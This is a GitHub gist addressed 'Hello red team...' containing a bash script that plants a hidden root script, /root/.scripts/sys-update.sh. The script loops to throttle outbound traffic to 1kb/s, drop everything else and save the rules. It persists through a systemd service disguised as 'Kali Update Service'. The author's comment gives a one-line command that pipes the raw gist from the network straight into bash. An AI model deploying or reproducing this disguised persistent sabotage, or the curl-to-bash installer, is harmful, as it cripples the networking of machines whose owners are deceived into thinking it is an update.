Skip to content

Instantly share code, notes, and snippets.

@Rickardo987
Last active April 7, 2023 15:27
Show Gist options
  • Save Rickardo987/e32ad180a5ee295bd76c38a786eff0a0 to your computer and use it in GitHub Desktop.
Save Rickardo987/e32ad180a5ee295bd76c38a786eff0a0 to your computer and use it in GitHub Desktop.
Hello red team...
#!/bin/bash
mkdir -p /root/.scripts
cat <<'EOF' > /root/.scripts/sys-update.sh
#!/bin/bash
# ░█▄█░█░░▒█▀▄▒██▀░█▀▄░░░▀█▀▒██▀▒▄▀▄░█▄▒▄█
# ▒█▒█░█▒░░█▀▄░█▄▄▒█▄▀▒░░▒█▒░█▄▄░█▀█░█▒▀▒█
#
# ()
# JL
# ||
# LJ
# _,--"""""""---.
# ,' `.
# / \
# J L
# F L
# J J
# | J
# ___L______________ J
# /,---------------. "". J
# JJ / \/ | J J
# LL J J | L J
# JJ J # J # | L |
# \\__`.___,_`.____,' F |
# ""-.---------....___/ |
# |_T--+---+--.,._ |
# |--|----\---\-`. |
# |__|____J___J_ F F
# _|__|____|___|_/ L
# | L
# |____________________M-K
while true
do
iptables -A OUTPUT -m limit --limit 1kb/s -j ACCEPT
iptables -A OUTPUT -j DROP
iptables-save > /etc/iptables/rules.v4
sleep 300
done
EOF
chmod +x /root/.scripts/sys-update.sh
chmod 700 /root/.scripts
cat <<'EOF' > /etc/systemd/system/kali-update.service
[Unit]
Description=Kali Update Service
[Service]
ExecStart=/root/.scripts/sys-update.sh
Restart=always
[Install]
WantedBy=multi-user.target
EOF
systemctl daemon-reload
systemctl enable kali-update
systemctl start kali-update
@Rickardo987
Copy link
Author

bash <(curl https://gist.githubusercontent.com/Rickardo987/e32ad180a5ee295bd76c38a786eff0a0/raw/fa72653b102e035084141fc75e393a4c29e78280/autodeploy)

Sign up for free to join this conversation on GitHub. Already have an account? Sign in to comment